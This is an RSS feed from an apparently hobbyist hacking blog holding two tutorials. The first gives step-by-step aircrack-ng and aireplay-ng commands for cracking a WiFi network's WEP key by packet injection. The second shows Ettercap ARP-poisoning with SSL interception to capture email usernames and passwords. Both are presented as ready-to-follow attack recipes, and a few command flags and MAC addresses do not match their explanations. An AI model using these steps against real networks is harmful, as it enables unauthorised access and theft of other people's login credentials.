<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Hacking Articles &#187; Backtrack</title>
	<atom:link href="http://hackingarticles.com/category/backtrack/feed/" rel="self" type="application/rss+xml" />
	<link>http://hackingarticles.com</link>
	<description>The right place to learn all about Ethical Hacking and Internet Security</description>
	<lastBuildDate>Thu, 19 Aug 2010 21:45:11 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>CRACK WIFI &#8211; Simple WEP Crack</title>
		<link>http://hackingarticles.com/crack-wifi-simple-wep-crack/</link>
		<comments>http://hackingarticles.com/crack-wifi-simple-wep-crack/#comments</comments>
		<pubDate>Sat, 01 May 2010 11:55:23 +0000</pubDate>
		<dc:creator>Bhanu</dc:creator>
				<category><![CDATA[Backtrack]]></category>
		<category><![CDATA[Crack Wifi]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Hacking Software]]></category>
		<category><![CDATA[Hacking tools]]></category>
		<category><![CDATA[Penetration Testing]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[wep crack]]></category>
		<category><![CDATA[wireless hacking]]></category>

		<guid isPermaLink="false">http://hackingarticles.com/?p=588</guid>
		<description><![CDATA[<a href="http://hackingarticles.com/crack-wifi-simple-wep-crack/"><img align="left" hspace="5" width="150" height="150" src="http://hackingarticles.com/wp-content/uploads/wifi-150x150.gif" class="alignleft wp-post-image tfe" alt="Crack WiFi" title="WiFi" /></a>Overview To crack the WEP key for an access point, we need to gather lots of initialization vectors (IVs). Normal network traffic does not typically generate these IVs very quickly. Theoretically, if you are patient, you can gather sufficient IVs &#8230; <a href="http://hackingarticles.com/crack-wifi-simple-wep-crack/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<h2 style="text-align: center;"><a href="http://hackingarticles.com/wp-content/uploads/wifi.gif"><img class="aligncenter size-medium wp-image-589" title="WiFi" src="http://hackingarticles.com/wp-content/uploads/wifi-300x189.gif" alt="wifi 300x189 CRACK WIFI   Simple WEP Crack" width="229" height="144" /></a></h2>
<h3 style="text-align: left;">Overview</h3>
<div>To crack the WEP key for an access point, we need to gather lots of  initialization vectors (IVs). Normal network traffic does not typically  generate these IVs very quickly. Theoretically, if you are patient, you  can gather sufficient IVs to crack the WEP key by simply listening to  the network traffic and saving them. Since none of us are patient, we  use a technique called injection to speed up the process. Injection  involves having the access point (AP) resend selected packets over and  over very rapidly. This allows us to capture a large number of IVs in a  short period of time.</div>
<div>
</div>
<div><strong>Equipments used</strong></div>
<div>Wifi  Adaptor : Alfa AWUS036H (available on eBay &amp; Amazon)<br />
Software : Backtrack 4  (Free download from http://www.backtrack-linux.org)</div>
<div>
<h2><strong>Step 1</strong> &#8211; Start the wireless interface in monitor mode on AP channel</h2>
<blockquote>
<div>airmon-ng start wlan1 6</div>
</blockquote>
<div>starts  wifi interface in channel 6</div>
<h2><strong>Step 2</strong> &#8211; Test Wireless Device Packet Injection</h2>
<blockquote>
<div>aireplay-ng -6 -e infosec  -a 00:1B:11:24:27:2E  wlan1</div>
</blockquote>
<div>-9 means  injection</div>
<div>-a 00:1B:11:24:27:2E is the access point MAC address</div>
<h2><strong>Step 3</strong> &#8211;  Start airodump-ng to capture the IVs</h2>
<blockquote>
<div>airodump-ng -c 6 &#8211;bssid  00:1B:11:24:27:2E -w output wlan1</div>
</blockquote>
<h2><strong>Step 4</strong> &#8211;  Use aireplay-ng to do a fake authentication with the access point</h2>
<div>In  order for an access point to accept a packet, the source MAC address  must already be associated. If the source MAC address you are injecting  is not associated then the AP ignores the packet and sends out a  “DeAuthentication” packet in cleartext. In this state, no new IVs are  created because the AP is ignoring all the injected packets.</div>
<blockquote>
<div>aireplay-ng -1 0 -e  infosec -a 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1</div>
</blockquote>
<div>-1  means fake authentication</div>
<div>0 reassociation timing in seconds</div>
<div>-e  infosec is the wireless network name</div>
<div>-a 00:14:6C:7E:40:80 is  the access point MAC address</div>
<div>-h 00:0F:B5:88:AC:82 is our card  MAC address</div>
<div>OR</div>
<blockquote>
<div>aireplay-ng -1 2 -o 1 -q  10 -e infosec -a 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1</div>
</blockquote>
<div>2  &#8211; Reauthenticate every 2 seconds.</div>
<div>-o 1 &#8211; Send only one set  of packets at a time. Default is multiple and this confuses some APs.</div>
<div>-q  10 &#8211; Send keep alive packets every 10 seconds.</div>
<div><strong>Troubleshooting  Tips</strong></div>
<div><strong><br />
</strong></div>
<div>Some access points are configured to  only allow selected MAC addresses to associate and connect. If this is  the case, you will not be able to successfully do fake authentication  unless you know one of the MAC addresses on the allowed list. If you  suspect this is the problem, use the following command while trying to  do fake authentication. Start another session and…</div>
<div>Run:<strong><span style="color: #ff0000;"> </span></strong><span style="color: #ff0000;">tcpdump -n -vvv -s0 -e -i  | grep -i -E ”(RA:|Authentication|ssoc)”</span></div>
<div><span style="color: #ff0000;"><br />
</span></div>
<div>You  would then look for error messages.</div>
<div>If at any  time you wish to confirm you are properly associated is to use tcpdump  and look at the packets. Start another session and…</div>
<div>Run: <span style="color: #ff0000;">“tcpdump -n -e -s0 -vvv -i  wlan1”</span></div>
<div><span style="color: #ff0000;"><br />
</span></div>
<div>Here is a typical tcpdump error  message you are looking for:</div>
<div>11:04:34.360700  314us BSSID:00:14:6c:7e:40:80 DA:00:0F:B5:88:AC:82 SA:00:14:6c:7e:40:80    DeAuthentication: Class 3 frame received from nonassociated station</div>
<div>Notice  that the access point (00:14:6c:7e:40:80) is telling the source  (00:0F:B5:88:AC:82) you are not associated. Meaning, the AP will not  process or accept the injected packets.</div>
<div>If you  want to select only the DeAuth packets with tcpdump then you can use:  “tcpdump -n -e -s0 -vvv -i wlan1 | grep -i DeAuth”. You may need to  tweak the phrase “DeAuth” to pick out the exact packets you want.</div>
<h2><strong>Step 5</strong> &#8211; Start aireplay-ng in ARP request replay mode</h2>
<blockquote>
<div>aireplay-ng -3 -b  00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1</div>
</blockquote>
<h2><strong>Step 6</strong> &#8211;  Run aircrack-ng to obtain the WEP key</h2>
<blockquote>
<div>aircrack-ng -b  00:1B:11:24:27:2E output*.cap</div>
</blockquote>
</div>
<div>All Done! <img src='http://hackingarticles.com/wp-includes/images/smilies/icon_smile.gif' alt="icon smile CRACK WIFI   Simple WEP Crack" class='wp-smiley' title="CRACK WIFI   Simple WEP Crack" /> </div>
]]></content:encoded>
			<wfw:commentRss>http://hackingarticles.com/crack-wifi-simple-wep-crack/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Sniffing Tutorial</title>
		<link>http://hackingarticles.com/sniffing-tutorial/</link>
		<comments>http://hackingarticles.com/sniffing-tutorial/#comments</comments>
		<pubDate>Wed, 22 Jul 2009 08:27:46 +0000</pubDate>
		<dc:creator>Bhanu</dc:creator>
				<category><![CDATA[Backtrack]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[ettercap]]></category>
		<category><![CDATA[packet analyzing]]></category>
		<category><![CDATA[sniffing]]></category>

		<guid isPermaLink="false">http://hackingarticles.com/?p=212</guid>
		<description><![CDATA[<a href="http://hackingarticles.com/sniffing-tutorial/"><img align="left" hspace="5" width="150" height="150" src="http://hackingarticles.com/wp-content/uploads/3744959095_82778f4802-150x150.jpg" class="alignleft wp-post-image tfe" alt="Ettercap Sniffing Tutorial" title="Ettercap Sniffing Tutorial" /></a>Hi, Today I am posting a tutorial on Sniffing which can be done using &#8220;BACKTRACK&#8221; . You can download Backtrack from here. I prefer using Backtrack 3.0 Final version. Well lets start with sniffing. If you don&#8217;t know what sniffing &#8230; <a href="http://hackingarticles.com/sniffing-tutorial/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://hackingarticles.com/wp-content/uploads/3744959095_82778f4802.jpg"><img class="aligncenter size-medium wp-image-826" title="Ettercap Sniffing Tutorial" src="http://hackingarticles.com/wp-content/uploads/3744959095_82778f4802-300x230.jpg" alt="3744959095 82778f4802 300x230 Sniffing Tutorial" width="300" height="230" /></a><br />
Hi, Today I am posting a tutorial on Sniffing which can be done using &#8220;BACKTRACK&#8221; . You can download Backtrack from <strong>here.</strong></p>
<p>I prefer using Backtrack 3.0 Final version.</p>
<p>Well lets start with sniffing. If you don&#8217;t know what sniffing is, then click <a href="http://en.wikipedia.org/wiki/Packet_analyzer" target="_blank">here</a>.</p>
<p>Tools you need are:</p>
<p>Ettercap<br />
nano<span id="more-212"></span></p>
<p>1. For SSL Dissection support (hotmail,gmail), you need to do this:<br />
Open a shell, type: &#8220;nano /usr/local/etc/etter.conf&#8221;, use the down arrow until you reach &#8220;redir_command_on/off&#8221;, look at the linux part, your gonna need to uncomment:</p>
<div style="margin: 5px 20px 20px;">
<div style="margin-bottom: 2px;">Code:</div>
<pre style="border: 1px inset; margin: 0px; padding: 6px; overflow: auto; width: 600px; height: 80px; text-align: left;" dir="ltr"># if you use iptables:
#redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
#redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"</pre>
</div>
<p>to:</p>
<div style="margin: 5px 20px 20px;">
<div style="margin-bottom: 2px;">Code:</div>
<pre style="border: 1px inset; margin: 0px; padding: 6px; overflow: auto; width: 600px; height: 80px; text-align: left;" dir="ltr"># if you use iptables:
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"</pre>
</div>
<p>after your done, press F2, Y, Return.</p>
<p>Now boot Ettercap: Menu &#8211;&gt; Backtrack &#8211;&gt; Spoofing &#8211;&gt; Ettercap<br />
Go to: Sniff &#8211;&gt; Unified Sniffing &#8211;&gt;ethX(what interface you want to sniff).<br />
Then Press: Ctrl+S to scan hosts.<br />
Then Go to: Mitm &#8211;&gt; ARP poisoning, select sniff remote connections, and press ok.<br />
Then Go to: Start &#8211;&gt; Start Sniffing.</p>
<p>For an Example, Walk to another pc, go to your internet email account (Hotmail, Gmail), and log in, you will be asked to trust the certificate, Trust it, and watch your sniffing computer, the username and password should appear.</p>
<p>When your done, go to Start &#8211;&gt; Stop Sniffing, And go to Mitm &#8211;&gt; Stop mitm attack(s)</p>
]]></content:encoded>
			<wfw:commentRss>http://hackingarticles.com/sniffing-tutorial/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
	</channel>
</rss>

